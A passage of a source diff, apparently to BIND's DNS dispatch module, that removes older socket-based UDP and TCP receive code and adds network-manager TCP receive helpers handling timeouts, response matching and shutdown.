-		dispsock->host = *dest;
-		dispsock->bucket = bucket;
-		LOCK(&qid->lock);
-		dispsock->portentry = portentry;
-		ISC_LIST_APPEND(qid->sock_table[bucket], dispsock, blink);
-		UNLOCK(&qid->lock);
-		*dispsockp = dispsock;
-		*portp = port;
-	} else {
-		/*
-		 * We could keep it in the inactive list, but since this should
-		 * be an exceptional case and might be resource shortage, we'd
-		 * rather destroy it.
-		 */
-		if (sock != NULL) {
-			isc_socket_detach(&sock);
-		}
-		destroy_dispsocket(disp, &dispsock);
-	}
-
-	return (result);
-}
-
-/*%
- * Destroy a dedicated dispatch socket.
- */
-static void
-destroy_dispsocket(dns_dispatch_t *disp, dispsocket_t **dispsockp) {
-	dispsocket_t *dispsock;
-	dns_qid_t *qid = DNS_QID(disp);
-
-	/*
-	 * The dispatch must be locked.
-	 */
-
-	REQUIRE(dispsockp != NULL && *dispsockp != NULL);
-	dispsock = *dispsockp;
-	*dispsockp = NULL;
-	REQUIRE(!ISC_LINK_LINKED(dispsock, link));
-
-	disp->nsockets--;
-	dispsock->magic = 0;
-	if (dispsock->portentry != NULL) {
-		/* socket_search() tests and dereferences portentry. */
-		LOCK(&qid->lock);
-		deref_portentry(disp, &dispsock->portentry);
-		UNLOCK(&qid->lock);
-	}
-	if (dispsock->socket != NULL) {
-		isc_socket_detach(&dispsock->socket);
-	}
-	if (ISC_LINK_LINKED(dispsock, blink)) {
-		LOCK(&qid->lock);
-		ISC_LIST_UNLINK(qid->sock_table[dispsock->bucket], dispsock,
-				blink);
-		UNLOCK(&qid->lock);
-	}
-	if (dispsock->task != NULL) {
-		isc_task_detach(&dispsock->task);
-	}
-	isc_mempool_put(disp->mgr->spool, dispsock);
+	dns_dispentry_detach(&resp); /* DISPENTRY003 */
 }
 
-/*%
- * Deactivate a dedicated dispatch socket.  Move it to the inactive list for
- * future reuse unless the total number of sockets are exceeding the maximum.
- */
-static void
-deactivate_dispsocket(dns_dispatch_t *disp, dispsocket_t *dispsock) {
-	isc_result_t result;
-	dns_qid_t *qid = DNS_QID(disp);
-
-	/*
-	 * The dispatch must be locked.
-	 */
-	ISC_LIST_UNLINK(disp->activesockets, dispsock, link);
-	if (dispsock->resp != NULL) {
-		INSIST(dispsock->resp->dispsocket == dispsock);
-		dispsock->resp->dispsocket = NULL;
-	}
-
-	INSIST(dispsock->portentry != NULL);
-	/* socket_search() tests and dereferences portentry. */
-	LOCK(&qid->lock);
-	deref_portentry(disp, &dispsock->portentry);
-	UNLOCK(&qid->lock);
-
-	if (disp->nsockets > DNS_DISPATCH_POOLSOCKS) {
-		destroy_dispsocket(disp, &dispsock);
-	} else {
-		result = isc_socket_close(dispsock->socket);
-
-		LOCK(&qid->lock);
-		ISC_LIST_UNLINK(qid->sock_table[dispsock->bucket], dispsock,
-				blink);
-		UNLOCK(&qid->lock);
-
-		if (result == ISC_R_SUCCESS) {
-			ISC_LIST_APPEND(disp->inactivesockets, dispsock, link);
-		} else {
-			/*
-			 * If the underlying system does not allow this
-			 * optimization, destroy this temporary structure (and
-			 * create a new one for a new transaction).
-			 */
-			INSIST(result == ISC_R_NOTIMPLEMENTED);
-			destroy_dispsocket(disp, &dispsock);
-		}
-	}
-}
-
-/*
- * Find an entry for query ID 'id', socket address 'dest', and port number
- * 'port'.
- * Return NULL if no such entry exists.
- */
-static dns_dispentry_t *
-entry_search(dns_qid_t *qid, const isc_sockaddr_t *dest, dns_messageid_t id,
-	     in_port_t port, unsigned int bucket) {
-	dns_dispentry_t *res;
-
-	REQUIRE(VALID_QID(qid));
-	REQUIRE(bucket < qid->qid_nbuckets);
-
-	res = ISC_LIST_HEAD(qid->qid_table[bucket]);
-
-	while (res != NULL) {
-		if (res->id == id && isc_sockaddr_equal(dest, &res->host) &&
-		    res->port == port) {
-			return (res);
-		}
-		res = ISC_LIST_NEXT(res, link);
-	}
-
-	return (NULL);
-}
-
-static void
-free_buffer(dns_dispatch_t *disp, void *buf, unsigned int len) {
-	isc_mempool_t *bpool;
-	INSIST(buf != NULL && len != 0);
-
-	switch (disp->socktype) {
-	case isc_sockettype_tcp:
-		INSIST(disp->tcpbuffers > 0);
-		disp->tcpbuffers--;
-		isc_mem_put(disp->mgr->mctx, buf, len);
-		break;
-	case isc_sockettype_udp:
-		LOCK(&disp->mgr->buffer_lock);
-		INSIST(disp->mgr->buffers > 0);
-		INSIST(len == disp->mgr->buffersize);
-		disp->mgr->buffers--;
-		bpool = disp->mgr->bpool;
-		UNLOCK(&disp->mgr->buffer_lock);
-		isc_mempool_put(bpool, buf);
-		break;
-	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
-	}
-}
-
-static void *
-allocate_udp_buffer(dns_dispatch_t *disp) {
-	isc_mempool_t *bpool;
-	void *temp;
-
-	LOCK(&disp->mgr->buffer_lock);
-	if (disp->mgr->buffers >= disp->mgr->maxbuffers) {
-		UNLOCK(&disp->mgr->buffer_lock);
-		return (NULL);
-	}
-	bpool = disp->mgr->bpool;
-	disp->mgr->buffers++;
-	UNLOCK(&disp->mgr->buffer_lock);
-
-	temp = isc_mempool_get(bpool);
-
-	if (temp == NULL) {
-		LOCK(&disp->mgr->buffer_lock);
-		disp->mgr->buffers--;
-		UNLOCK(&disp->mgr->buffer_lock);
-	}
-
-	return (temp);
-}
-
-static inline void
-free_sevent(isc_event_t *ev) {
-	isc_mempool_t *pool = ev->ev_destroy_arg;
-	isc_socketevent_t *sev = (isc_socketevent_t *)ev;
-	isc_mempool_put(pool, sev);
-}
-
-static inline isc_socketevent_t *
-allocate_sevent(dns_dispatch_t *disp, isc_socket_t *sock, isc_eventtype_t type,
-		isc_taskaction_t action, const void *arg) {
-	isc_socketevent_t *ev;
-	void *deconst_arg;
-
-	ev = isc_mempool_get(disp->sepool);
-	if (ev == NULL) {
-		return (NULL);
-	}
-	DE_CONST(arg, deconst_arg);
-	ISC_EVENT_INIT(ev, sizeof(*ev), 0, NULL, type, action, deconst_arg,
-		       sock, free_sevent, disp->sepool);
-	ev->result = ISC_R_UNSET;
-	ISC_LINK_INIT(ev, ev_link);
-	ev->region.base = NULL;
-	ev->n = 0;
-	ev->offset = 0;
-	ev->attributes = 0;
-
-	return (ev);
-}
-
-static inline void
-free_devent(dns_dispatch_t *disp, dns_dispatchevent_t *ev) {
-	if (disp->failsafe_ev == ev) {
-		INSIST(disp->shutdown_out == 1);
-		disp->shutdown_out = 0;
-
-		return;
-	}
-
-	isc_mempool_put(disp->mgr->depool, ev);
-}
-
-static inline dns_dispatchevent_t *
-allocate_devent(dns_dispatch_t *disp) {
-	dns_dispatchevent_t *ev;
+static isc_result_t
+tcp_recv_oldest(dns_dispatch_t *disp, dns_dispentry_t **respp) {
+	dns_dispentry_t *resp = NULL;
+	resp = ISC_LIST_HEAD(disp->active);
+	if (resp != NULL) {
+		disp->timedout++;
 
-	ev = isc_mempool_get(disp->mgr->depool);
-	if (ev == NULL) {
-		return (NULL);
+		*respp = resp;
+		return (ISC_R_TIMEDOUT);
 	}
-	ISC_EVENT_INIT(ev, sizeof(*ev), 0, NULL, 0, NULL, NULL, NULL, NULL,
-		       NULL);
 
-	return (ev);
+	return (ISC_R_NOTFOUND);
 }
 
-static void
-udp_exrecv(isc_task_t *task, isc_event_t *ev) {
-	dispsocket_t *dispsock = ev->ev_arg;
-
-	UNUSED(task);
-
-	REQUIRE(VALID_DISPSOCK(dispsock));
-	udp_recv(ev, dispsock->disp, dispsock);
-}
-
-static void
-udp_shrecv(isc_task_t *task, isc_event_t *ev) {
-	dns_dispatch_t *disp = ev->ev_arg;
-
-	UNUSED(task);
-
-	REQUIRE(VALID_DISPATCH(disp));
-	udp_recv(ev, disp, NULL);
-}
-
-/*
- * General flow:
- *
- * If I/O result == CANCELED or error, free the buffer.
- *
- * If query, free the buffer, restart.
- *
- * If response:
- *	Allocate event, fill in details.
- *		If cannot allocate, free buffer, restart.
- *	find target.  If not found, free buffer, restart.
- *	if event queue is not empty, queue.  else, send.
- *	restart.
- */
-static void
-udp_recv(isc_event_t *ev_in, dns_dispatch_t *disp, dispsocket_t *dispsock) {
-	isc_socketevent_t *ev = (isc_socketevent_t *)ev_in;
-	dns_messageid_t id;
-	isc_result_t dres;
+static isc_result_t
+tcp_recv_success(dns_dispatch_t *disp, isc_region_t *region, dns_qid_t *qid,
+		 isc_sockaddr_t *peer, dns_dispentry_t **respp) {
 	isc_buffer_t source;
+	dns_messageid_t id;
 	unsigned int flags;
-	dns_dispentry_t *resp = NULL;
-	dns_dispatchevent_t *rev;
 	unsigned int bucket;
-	bool killit;
-	bool queue_response;
-	dns_dispatchmgr_t *mgr;
-	dns_qid_t *qid;
-	isc_netaddr_t netaddr;
-	int match;
-	int result;
-	bool qidlocked = false;
-
-	LOCK(&disp->lock);
-
-	mgr = disp->mgr;
-	qid = mgr->qid;
-
-	LOCK(&disp->mgr->buffer_lock);
-	dispatch_log(disp, LVL(90),
-		     "got packet: requests %d, buffers %d, recvs %d",
-		     disp->requests, disp->mgr->buffers, disp->recv_pending);
-	UNLOCK(&disp->mgr->buffer_lock);
-
-	if (dispsock == NULL && ev->ev_type == ISC_SOCKEVENT_RECVDONE) {
-		/*
-		 * Unless the receive event was imported from a listening
-		 * interface, in which case the event type is
-		 * DNS_EVENT_IMPORTRECVDONE, receive operation must be pending.
-		 */
-		INSIST(disp->recv_pending != 0);
-		disp->recv_pending = 0;
-	}
-
-	if (dispsock != NULL &&
-	    (ev->result == ISC_R_CANCELED || dispsock->resp == NULL))
-	{
-		/*
-		 * dispsock->resp can be NULL if this transaction was canceled
-		 * just after receiving a response.  Since this socket is
-		 * exclusively used and there should be at most one receive
-		 * event the canceled event should have been no effect.  So
-		 * we can (and should) deactivate the socket right now.
-		 */
-		deactivate_dispsocket(disp, dispsock);
-		dispsock = NULL;
-	}
-
-	if (disp->shutting_down) {
-		/*
-		 * This dispatcher is shutting down.
-		 */
-		free_buffer(disp, ev->region.base, ev->region.length);
-
-		isc_event_free(&ev_in);
-		ev = NULL;
-
-		killit = destroy_disp_ok(disp);
-		UNLOCK(&disp->lock);
-		if (killit) {
-			isc_task_send(disp->task[0], &disp->ctlevent);
-		}
-
-		return;
-	}
-
-	if ((disp->attributes & DNS_DISPATCHATTR_EXCLUSIVE) != 0) {
-		if (dispsock != NULL) {
-			resp = dispsock->resp;
-			id = resp->id;
-			if (ev->result != ISC_R_SUCCESS) {
-				/*
-				 * This is most likely a network error on a
-				 * connected socket.  It makes no sense to
-				 * check the address or parse the packet, but it
-				 * will help to return the error to the caller.
-				 */
-				goto sendresponse;
-			}
-		} else {
-			free_buffer(disp, ev->region.base, ev->region.length);
-
-			isc_event_free(&ev_in);
-			UNLOCK(&disp->lock);
-			return;
-		}
-	} else if (ev->result != ISC_R_SUCCESS) {
-		free_buffer(disp, ev->region.base, ev->region.length);
-
-		if (ev->result != ISC_R_CANCELED) {
-			dispatch_log(disp, ISC_LOG_ERROR,
-				     "odd socket result in udp_recv(): %s",
-				     isc_result_totext(ev->result));
-		}
-
-		isc_event_free(&ev_in);
-		UNLOCK(&disp->lock);
-		return;
-	}
+	isc_result_t result = ISC_R_SUCCESS;
+	dns_dispentry_t *resp = NULL;
 
-	/*
-	 * If this is from a blackholed address, drop it.
-	 */
-	isc_netaddr_fromsockaddr(&netaddr, &ev->address);
-	if (disp->mgr->blackhole != NULL &&
-	    dns_acl_match(&netaddr, NULL, disp->mgr->blackhole, NULL, &match,
-			  NULL) == ISC_R_SUCCESS &&
-	    match > 0)
-	{
-		if (isc_log_wouldlog(dns_lctx, LVL(10))) {
-			char netaddrstr[ISC_NETADDR_FORMATSIZE];
-			isc_netaddr_format(&netaddr, netaddrstr,
-					   sizeof(netaddrstr));
-			dispatch_log(disp, LVL(10), "blackholed packet from %s",
-				     netaddrstr);
-		}
-		free_buffer(disp, ev->region.base, ev->region.length);
-		goto restart;
-	}
+	dispatch_log(disp, LVL(90), "TCP read success, length == %d, addr = %p",
+		     region->length, region->base);
 
 	/*
 	 * Peek into the buffer to see what we can see.
 	 */
-	isc_buffer_init(&source, ev->region.base, ev->region.length);
-	isc_buffer_add(&source, ev->n);
-	dres = dns_message_peekheader(&source, &id, &flags);
-	if (dres != ISC_R_SUCCESS) {
-		free_buffer(disp, ev->region.base, ev->region.length);
+	isc_buffer_init(&source, region->base, region->length);
+	isc_buffer_add(&source, region->length);
+	result = dns_message_peekheader(&source, &id, &flags);
+	if (result != ISC_R_SUCCESS) {
 		dispatch_log(disp, LVL(10), "got garbage packet");
-		goto restart;
+		return (ISC_R_UNEXPECTED);
 	}
 
 	dispatch_log(disp, LVL(92),
@@ -1193,145 +706,81 @@ udp_recv(isc_event_t *ev_in, dns_dispatch_t *disp, dispsocket_t *dispsock) {
 		     (((flags & DNS_MESSAGEFLAG_QR) != 0) ? '1' : '0'), id);
 
 	/*
-	 * Look at flags.  If query, drop it. If response,
-	 * look to see where it goes.
+	 * Look at the message flags.  If it's a query, ignore it and keep
+	 * reading.
 	 */
 	if ((flags & DNS_MESSAGEFLAG_QR) == 0) {
-		/* query */
-		free_buffer(disp, ev->region.base, ev->region.length);
-		goto restart;
+		dispatch_log(disp, LVL(10), "got DNS query instead of answer");
+		return (ISC_R_UNEXPECTED);
 	}
 
 	/*
-	 * Search for the corresponding response.  If we are using an exclusive
-	 * socket, we've already identified it and we can skip the search; but
-	 * the ID and the address must match the expected ones.
+	 * We have a valid response; find the associated dispentry object
+	 * and call the caller back.
 	 */
-	if (resp == NULL) {
-		bucket = dns_hash(qid, &ev->address, id, disp->localport);
-		LOCK(&qid->lock);
-		qidlocked = true;
-		resp = entry_search(qid, &ev->address, id, disp->localport,
-				    bucket);
-		dispatch_log(disp, LVL(90),
-			     "search for response in bucket %d: %s", bucket,
-			     (resp == NULL ? "not found" : "found"));
-
-	} else if (resp->id != id ||
-		   !isc_sockaddr_equal(&ev->address, &resp->host)) {
-		dispatch_log(disp, LVL(90),
-			     "response to an exclusive socket doesn't match");
-		inc_stats(mgr, dns_resstatscounter_mismatch);
-		free_buffer(disp, ev->region.base, ev->region.length);
-		goto unlock;
-	}
-
-	if (resp == NULL) {
-		inc_stats(mgr, dns_resstatscounter_mismatch);
-		free_buffer(disp, ev->region.base, ev->region.length);
-		goto unlock;
+	bucket = dns_hash(qid, peer, id, disp->localport);
+	LOCK(&qid->lock);
+	resp = entry_search(qid, peer, id, disp->localport, bucket);
+	if (resp != NULL) {
+		if (resp->reading) {
+			*respp = resp;
+		} else {
+			/*
+			 * We already got a message for this QID and weren't
+			 * expecting any more.
+			 */
+			result = ISC_R_UNEXPECTED;
+		}
+	} else {
+		/* We are not expecting this DNS message */
+		result = ISC_R_NOTFOUND;
 	}
+	dispatch_log(disp, LVL(90), "search for response in bucket %d: %s",
+		     bucket, isc_result_totext(result));
+	UNLOCK(&qid->lock);
 
-	/*
-	 * Now that we have the original dispatch the query was sent
-	 * from check that the address and port the response was
-	 * sent to make sense.
-	 */
-	if (disp != resp->disp) {
-		isc_sockaddr_t a1;
-		isc_sockaddr_t a2;
-
-		/*
-		 * Check that the socket types and ports match.
-		 */
-		if (disp->socktype != resp->disp->socktype ||
-		    isc_sockaddr_getport(&disp->local) !=
-			    isc_sockaddr_getport(&resp->disp->local))
-		{
-			free_buffer(disp, ev->region.base, ev->region.length);
-			goto unlock;
-		}
+	return (result);
+}
 
-		/*
-		 * If each dispatch is bound to a different address
-		 * then fail.
-		 *
-		 * Note under Linux a packet can be sent out via IPv4 socket
-		 * and the response be received via a IPv6 socket.
-		 *
-		 * Requests sent out via IPv6 should always come back in
-		 * via IPv6.
-		 */
-		if (isc_sockaddr_pf(&resp->disp->local) == PF_INET6 &&
-		    isc_sockaddr_pf(&disp->local) != PF_INET6)
-		{
-			free_buffer(disp, ev->region.base, ev->region.length);
-			goto unlock;
-		}
-		isc_sockaddr_anyofpf(&a1, isc_sockaddr_pf(&resp->disp->local));
-		isc_sockaddr_anyofpf(&a2, isc_sockaddr_pf(&disp->local));
-		if (!isc_sockaddr_eqaddr(&disp->local, &resp->disp->local) &&
-		    !isc_sockaddr_eqaddr(&a1, &resp->disp->local) &&
-		    !isc_sockaddr_eqaddr(&a2, &disp->local))
-		{
-			free_buffer(disp, ev->region.base, ev->region.length);
-			goto unlock;
-		}
-	}
+static void
+tcp_recv_add(dns_displist_t *resps, dns_dispentry_t *resp,
+	     isc_result_t result) {
+	dns_dispentry_ref(resp); /* DISPENTRY009 */
+	ISC_LIST_UNLINK(resp->disp->active, resp, alink);
+	ISC_LIST_APPEND(*resps, resp, rlink);
+	INSIST(resp->reading);
+	resp->reading = false;
+	resp->result = result;
+}
 
-sendresponse:
-	queue_response = resp->item_out;
-	rev = allocate_devent(resp->disp);
-	if (rev == NULL) {
-		free_buffer(disp, ev->region.base, ev->region.length);
-		goto unlock;
-	}
+static void
+tcp_recv_shutdown(dns_dispatch_t *disp, dns_displist_t *resps,
+		  isc_result_t result) {
+	dns_dispentry_t *resp = NULL, *next = NULL;
 
 	/*
-	 * At this point, rev contains the event we want to fill in, and
-	 * resp contains the information on the place to send it to.
-	 * Send the event off.
+	 * If there are any active responses, shut them all down.
 	 */
-	isc_buffer_init(&rev->buffer, ev->region.base, ev->region.length);
-	isc_buffer_add(&rev->buffer, ev->n);
-	rev->result = ev->result;
-	rev->id = id;
-	rev->addr = ev->address;
-	rev->pktinfo = ev->pktinfo;
-	rev->attributes = ev->attributes;
-	if (queue_response) {
-		ISC_LIST_APPEND(resp->items, rev, ev_link);
-	} else {
-		ISC_EVENT_INIT(rev, sizeof(*rev), 0, NULL, DNS_EVENT_DISPATCH,
-			       resp->action, resp->arg, resp, NULL, NULL);
-		request_log(disp, resp, LVL(90),
-			    "[a] Sent event %p buffer %p len %d to task %p",
-			    rev, rev->buffer.base, rev->buffer.length,
-			    resp->task);
-		resp->item_out = true;
-		isc_task_send(resp->task, ISC_EVENT_PTR(&rev));
-	}
-unlock:
-	if (qidlocked) {
-		UNLOCK(&qid->lock);
+	for (resp = ISC_LIST_HEAD(disp->active); resp != NULL; resp = next) {
+		next = ISC_LIST_NEXT(resp, alink);
+		tcp_recv_add(resps, resp, result);
 	}
+	disp->state = DNS_DISPATCHSTATE_CANCELED;
+}
 
-	/*
-	 * Restart recv() to get the next packet.
-	 */
-restart:
-	result = startrecv(disp, dispsock);
-	if (result != ISC_R_SUCCESS && dispsock != NULL) {
-		/*
-		 * XXX: wired. There seems to be no recovery process other than
-		 * deactivate this socket anyway (since we cannot start
-		 * receiving, we won't be able to receive a cancel event
-		 * from the user).
-		 */
-		deactivate_dispsocket(disp, dispsock);
+static void
+tcp_recv_processall(dns_displist_t *resps, isc_region_t *region) {
+	dns_dispentry_t *resp = NULL, *next = NULL;
+
+	for (resp = ISC_LIST_HEAD(*resps); resp != NULL; resp = next) {
+		next = ISC_LIST_NEXT(resp, rlink);
+		ISC_LIST_UNLINK(*resps, resp, rlink);
+
+		dispentry_log(resp, LVL(90), "read callback: %s",
+			      isc_result_totext(resp->result));
+		resp->response(resp->result, region, resp->arg);
+		dns_dispentry_detach(&resp); /* DISPENTRY009 */
 	}
-	isc_event_free(&ev_in);
-	UNLOCK(&disp->lock);
 }
 
 /*
@@ -1340,8 +789,6 @@ udp_recv(isc_event_t *ev_in, dns_dispatch_t *disp, dispsocket_t *dispsock) {
  * If I/O result == CANCELED, EOF, or error, notify everyone as the
  * various queues drain.
  *
- * If query, restart.
- *
  * If response:
  *	Allocate event, fill in details.
  *		If cannot allocate, restart.
@@ -1350,579 +797,169 @@ udp_recv(isc_event_t *ev_in, dns_dispatch_t *disp, dispsocket_t *dispsock) {
  *	restart.
  */
 static void
-tcp_recv(isc_task_t *task, isc_event_t *ev_in) {
-	dns_dispatch_t *disp = ev_in->ev_arg;
-	dns_tcpmsg_t *tcpmsg = &disp->tcpmsg;
-	dns_messageid_t id;
-	isc_result_t dres;
-	unsigned int flags;
-	dns_dispentry_t *resp;
-	dns_dispatchevent_t *rev;
-	unsigned int bucket;
-	bool killit;
-	bool queue_response;
-	dns_qid_t *qid;
-	int level;
+tcp_recv(isc_nmhandle_t *handle, isc_result_t result, isc_region_t *region,
+	 void *arg) {
+	dns_dispatch_t *disp = (dns_dispatch_t *)arg;
+	dns_dispentry_t *resp = NULL;
+	dns_qid_t *qid = NULL;
 	char buf[ISC_SOCKADDR_FORMATSIZE];
-
-	UNUSED(task);
+	isc_sockaddr_t peer;
+	dns_displist_t resps = ISC_LIST_INITIALIZER;
+	isc_time_t now;
+	int timeout;
 
 	REQUIRE(VALID_DISPATCH(disp));
 
-	qid = disp->qid;
+	qid = disp->mgr->qid;
 
 	LOCK(&disp->lock);
+	INSIST(disp->reading);
+	disp->reading = false;
 
-	dispatch_log(disp, LVL(90),
-		     "got TCP packet: requests %d, buffers %d, recvs %d",
-		     disp->requests, disp->tcpbuffers, disp->recv_pending);
-
-	INSIST(disp->recv_pending != 0);
-	disp->recv_pending = 0;
-
-	if (disp->refcount == 0) {
-		/*
-		 * This dispatcher is shutting down.  Force cancellation.
-		 */
-		tcpmsg->result = ISC_R_CANCELED;
-	}
-
-	if (tcpmsg->result != ISC_R_SUCCESS) {
-		switch (tcpmsg->result) {
-		case ISC_R_CANCELED:
-			break;
-
-		case ISC_R_EOF:
-			dispatch_log(disp, LVL(90), "shutting down on EOF");
-			do_cancel(disp);
-			break;
-
-		case ISC_R_CONNECTIONRESET:
-			level = ISC_LOG_INFO;
-			goto logit;
-
-		default:
-			level = ISC_LOG_ERROR;
-		logit:
-			isc_sockaddr_format(&tcpmsg->address, buf, sizeof(buf));
-			dispatch_log(disp, level,
-				     "shutting down due to TCP "
-				     "receive error: %s: %s",
-				     buf, isc_result_totext(tcpmsg->result));
-			do_cancel(disp);
-			break;
-		}
-
-		/*
-		 * The event is statically allocated in the tcpmsg
-		 * structure, and destroy_disp() frees the tcpmsg, so we must
-		 * free the event *before* calling destroy_disp().
-		 */
-		isc_event_free(&ev_in);
-
-		disp->shutting_down = 1;
-		disp->shutdown_why = tcpmsg->result;
-
-		/*
-		 * If the recv() was canceled pass the word on.
-		 */
-		killit = destroy_disp_ok(disp);
-		UNLOCK(&disp->lock);
-		if (killit) {
-			isc_task_send(disp->task[0], &disp->ctlevent);
-		}
-		return;
-	}
+	dispatch_log(disp, LVL(90), "TCP read:%s:requests %u",
+		     isc_result_totext(result), disp->requests);
 
-	dispatch_log(disp, LVL(90), "result %d, length == %d, addr = %p",
-		     tcpmsg->result, tcpmsg->buffer.length,
-		     tcpmsg->buffer.base);
+	peer = isc_nmhandle_peeraddr(handle);
 
 	/*
-	 * Peek into the buffer to see what we can see.
+	 * Phase 1: Process timeout and success.
 	 */
-	dres = dns_message_peekheader(&tcpmsg->buffer, &id, &flags);
-	if (dres != ISC_R_SUCCESS) {
-		dispatch_log(disp, LVL(10), "got garbage packet");
-		goto restart;
-	}
-
-	dispatch_log(disp, LVL(92),
-		     "got valid DNS message header, /QR %c, id %u",
-		     (((flags & DNS_MESSAGEFLAG_QR) != 0) ? '1' : '0'), id);
-
-	/*
-	 * Allocate an event to send to the query or response client, and
-	 * allocate a new buffer for our use.
-	 */
-
-	/*
-	 * Look at flags.  If query, drop it. If response,
-	 * look to see where it goes.
-	 */
-	if ((flags & DNS_MESSAGEFLAG_QR) == 0) {
+	switch (result) {
+	case ISC_R_TIMEDOUT:
 		/*
-		 * Query.
+		 * Time out the oldest response in the active queue.
 		 */
-		goto restart;
-	}
-
-	/*
-	 * Response.
-	 */
-	bucket = dns_hash(qid, &tcpmsg->address, id, disp->localport);
-	LOCK(&qid->lock);
-	resp = entry_search(qid, &tcpmsg->address, id, disp->localport, bucket);
-	dispatch_log(disp, LVL(90), "search for response in bucket %d: %s",
-		     bucket, (resp == NULL ? "not found" : "found"));
+		result = tcp_recv_oldest(disp, &resp);
+		break;
+	case ISC_R_SUCCESS:
+		/* We got an answer */
+		result = tcp_recv_success(disp, region, qid, &peer, &resp);
+		break;
 
-	if (resp == NULL) {
-		goto unlock;
-	}
-	queue_response = resp->item_out;
-	rev = allocate_devent(disp);
-	if (rev == NULL) {
-		goto unlock;
+	default:
+		break;
 	}
 
-	/*
-	 * At this point, rev contains the event we want to fill in, and
-	 * resp contains the information on the place to send it to.
-	 * Send the event off.
-	 */
-	dns_tcpmsg_keepbuffer(tcpmsg, &rev->buffer);
-	disp->tcpbuffers++;
-	rev->result = ISC_R_SUCCESS;
-	rev->id = id;
-	rev->addr = tcpmsg->address;
-	if (queue_response) {
-		ISC_LIST_APPEND(resp->items, rev, ev_link);
-	} else {
-		ISC_EVENT_INIT(rev, sizeof(*rev), 0, NULL, DNS_EVENT_DISPATCH,
-			       resp->action, resp->arg, resp, NULL, NULL);
-		request_log(disp, resp, LVL(90),
-			    "[b] Sent event %p buffer %p len %d to task %p",
-			    rev, rev->buffer.base, rev->buffer.length,
-			    resp->task);
-		resp->item_out = true;
-		isc_task_send(resp->task, ISC_EVENT_PTR(&rev));
+	if (resp != NULL) {
+		tcp_recv_add(&resps, resp, result);
 	}
-unlock:
-	UNLOCK(&qid->lock);
 
 	/*
-	 * Restart recv() to get the next packet.
+	 * Phase 2: Look if we timed out before.
 	 */
-restart:
-	(void)startrecv(disp, NULL);
 
-	isc_event_free(&ev_in);
-	UNLOCK(&disp->lock);
-}
-
-/*
- * disp must be locked.
- */
-static isc_result_t
-startrecv(dns_dispatch_t *disp, dispsocket_t *dispsock) {
-	isc_result_t res;
-	isc_region_t region;
-	isc_socket_t *sock;
-
-	if (disp->shutting_down == 1) {
-		return (ISC_R_SUCCESS);
-	}
-
-	if ((disp->attributes & DNS_DISPATCHATTR_NOLISTEN) != 0) {
-		return (ISC_R_SUCCESS);
+	if (result == ISC_R_NOTFOUND) {
+		if (disp->timedout > 0) {
+			/* There was active query that timed-out before */
+			disp->timedout--;
+		} else {
+			result = ISC_R_UNEXPECTED;
+		}
 	}
 
-	if (disp->recv_pending != 0 && dispsock == NULL) {
-		return (ISC_R_SUCCESS);
+	/*
+	 * Phase 3: Trigger timeouts.  It's possible that the responses would
+	 * have been timed out out already, but non-matching TCP reads have
+	 * prevented this.
+	 */
+	resp = ISC_LIST_HEAD(disp->active);
+	if (resp != NULL) {
+		now = isc_loop_now(resp->loop);
 	}
+	while (resp != NULL) {
+		dns_dispentry_t *next = ISC_LIST_NEXT(resp, alink);
 
-	if ((disp->attributes & DNS_DISPATCHATTR_EXCLUSIVE) != 0 &&
-	    dispsock == NULL) {
-		return (ISC_R_SUCCESS);
-	}
+		timeout = resp->timeout - dispentry_runtime(resp, &now);
+		if (timeout <= 0) {
+			tcp_recv_add(&resps, resp, ISC_R_TIMEDOUT);
+		}
 
-	if (dispsock != NULL) {
-		sock = dispsock->socket;
-	} else {
-		sock = disp->socket;
+		resp = next;
 	}
-	INSIST(sock != NULL);
 
-	switch (disp->socktype) {
 	/*
-	 * UDP reads are always maximal.
+	 * Phase 4: log if we errored out.
 	 */
-	case isc_sockettype_udp:
-		region.length = disp->mgr->buffersize;
-		region.base = allocate_udp_buffer(disp);
-		if (region.base == NULL) {
-			return (ISC_R_NOMEMORY);
-		}
-		if (dispsock != NULL) {
-			isc_task_t *dt = dispsock->task;
-			isc_socketevent_t *sev = allocate_sevent(
-				disp, sock, ISC_SOCKEVENT_RECVDONE, udp_exrecv,
-				dispsock);
-			if (sev == NULL) {
-				free_buffer(disp, region.base, region.length);
-				return (ISC_R_NOMEMORY);
-			}
-
-			res = isc_socket_recv2(sock, &region, 1, dt, sev, 0);
-			if (res != ISC_R_SUCCESS) {
-				free_buffer(disp, region.base, region.length);
-				return (res);
-			}
-		} else {
-			isc_task_t *dt = disp->task[0];
-			isc_socketevent_t *sev = allocate_sevent(
-				disp, sock, ISC_SOCKEVENT_RECVDONE, udp_shrecv,
-				disp);
-			if (sev == NULL) {
-				free_buffer(disp, region.base, region.length);
-				return (ISC_R_NOMEMORY);
-			}
-
-			res = isc_socket_recv2(sock, &region, 1, dt, sev, 0);
-			if (res != ISC_R_SUCCESS) {
-				free_buffer(disp, region.base, region.length);
-				disp->shutdown_why = res;
-				disp->shutting_down = 1;
-				do_cancel(disp);
-				return (ISC_R_SUCCESS); /* recover by cancel */
-			}
-			INSIST(disp->recv_pending == 0);
-			disp->recv_pending = 1;
-		}
+	switch (result) {
+	case ISC_R_SUCCESS:
+	case ISC_R_TIMEDOUT:
+	case ISC_R_NOTFOUND:
 		break;
 
-	case isc_sockettype_tcp:
-		res = dns_tcpmsg_readmessage(&disp->tcpmsg, disp->task[0],
-					     tcp_recv, disp);
-		if (res != ISC_R_SUCCESS) {
-			disp->shutdown_why = res;
-			disp->shutting_down = 1;
-			do_cancel(disp);
-			return (ISC_R_SUCCESS); /* recover by cancel */
-		}
-		INSIST(disp->recv_pending == 0);
-		disp->recv_pending = 1;
+	case ISC_R_SHUTTINGDOWN:
+	case ISC_R_CANCELED:
+	case ISC_R_EOF:
+	case ISC_R_CONNECTIONRESET:
+		isc_sockaddr_format(&peer, buf, sizeof(buf));
+		dispatch_log(disp, LVL(90), "shutting down TCP: %s: %s", buf,
+			     isc_result_totext(result));
+		tcp_recv_shutdown(disp, &resps, result);
 		break;
 	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
-	}
-
-	return (ISC_R_SUCCESS);
-}
-
-/*
- * Mgr must be locked when calling this function.
- */
-static bool
-destroy_mgr_ok(dns_dispatchmgr_t *mgr) {
-	mgr_log(mgr, LVL(90),
-		"destroy_mgr_ok: shuttingdown=%d, listnonempty=%d, "
-		"depool=%d, rpool=%d, dpool=%d",
-		MGR_IS_SHUTTINGDOWN(mgr), !ISC_LIST_EMPTY(mgr->list),
-		isc_mempool_getallocated(mgr->depool),
-		isc_mempool_getallocated(mgr->rpool),
